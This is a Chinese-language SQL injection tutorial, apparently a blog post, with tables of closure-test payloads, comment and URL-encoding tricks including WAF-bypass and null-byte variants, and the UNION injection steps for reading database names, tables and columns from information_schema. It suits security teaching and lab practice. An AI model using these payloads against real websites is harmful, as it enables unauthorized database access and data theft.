一、注入类型总览
| 类型 | 判据 | 优势 | 适用场景 |
|---|---|---|---|
| 数字型 | and 1=1 / and 1=2 |
最简单,无需引号 | 参数直接是数字 |
| 字符型(UNION) | ' ') " ") 闭合 |
数据直接回显,一条 payload 拿结果 | 参数被引号包裹且有回显位 |
| 报错注入 | 报错信息回带数据 | 速度快 | 页面显示 SQL 错误 |
| 布尔盲注 | 页面真假两态差异 | 无回显时的主要选择 | 页面只返回「存在 / 不存在」 |
| 时间盲注 | sleep() 延时 |
连真假都看不出时使用 | 页面完全无差异 |
判断顺序:先定闭合 → 再看有无回显 → 有回显走 UNION,无回显走盲注。
二、第一步:判断注入点与闭合方式
2.1 闭合方式测试表
依次测试下列 payload,观察页面返回是否有真假变化:
| 测试 payload | 为真说明的闭合方式 |
|---|---|
1 and 1=1 |
数字型 |
1' and 1=1--+ |
单引号 |
1') and 1=1--+ |
单引号 + 括号 |
1" and 1=1--+ |
双引号 |
1") and 1=1--+ |
双引号 + 括号 |
1" and 1=1 and 1="1 |
双引号对称闭合(不能用注释符) |
对应的原始 SQL 大致为:
SELECT * FROM xxx WHERE id = 1 -- 数字型
SELECT * FROM xxx WHERE id = '输入' -- 单引号型
SELECT * FROM xxx WHERE id = ('输入') -- 单引号 + 括号型
SELECT * FROM xxx WHERE id = "输入" -- 双引号型
2.2 确认注入存在
一条真、一条假,即可确定注入点:
?id=1') and 1=1# → 页面正常
?id=1') and 1=2# → 页面异常
注意:页面标题写「字符型」不等于就是单引号,也可能只接受
"或"),必须逐一测试。
2.3 注释符与 URL 编码
| 注释符 | URL 编码 | 说明 |
|---|---|---|
# |
%23 |
MySQL / MariaDB 专用行注释;# 在 URL 中是锚点,必须编码 |
--(后跟空格) |
--%20 或 --+ |
SQL 标准注释 |
/* */ |
%2F*...*%2F |
块注释,可用于绕过 WAF |
;%00 |
%3B%00 |
空字节截断,PHP 场景 |
空格优先用
%20,比+更稳妥——部分服务器会把+当作字面加号。
三、UNION 联合注入
3.1 成立前提
-
参数可闭合,注入点成立;
-
原查询有回显位(页面会把结果显示出来);
-
union前后两个select的列数必须一致。
3.2 标准六步
1. 判闭合方式 → 1') and 1=1# / 1') and 1=2#
2. 判列数 → 1') order by N#
3. 找回显位 → 1') union select 1,2,3,4,5,6,7#
4. 拿库名/用户/版本 → database(), user(), version()
5. 拿表名/字段名 → information_schema.tables / columns
6. 读取目标数据 → select 目标字段 from 目标表
3.3 判列数:order by N
order by N 按第 N 列排序:N ≤ 实际列数时正常,N 超出则报错 Unknown column 'N' in 'order clause'。


875

被折叠的 条评论
为什么被折叠?



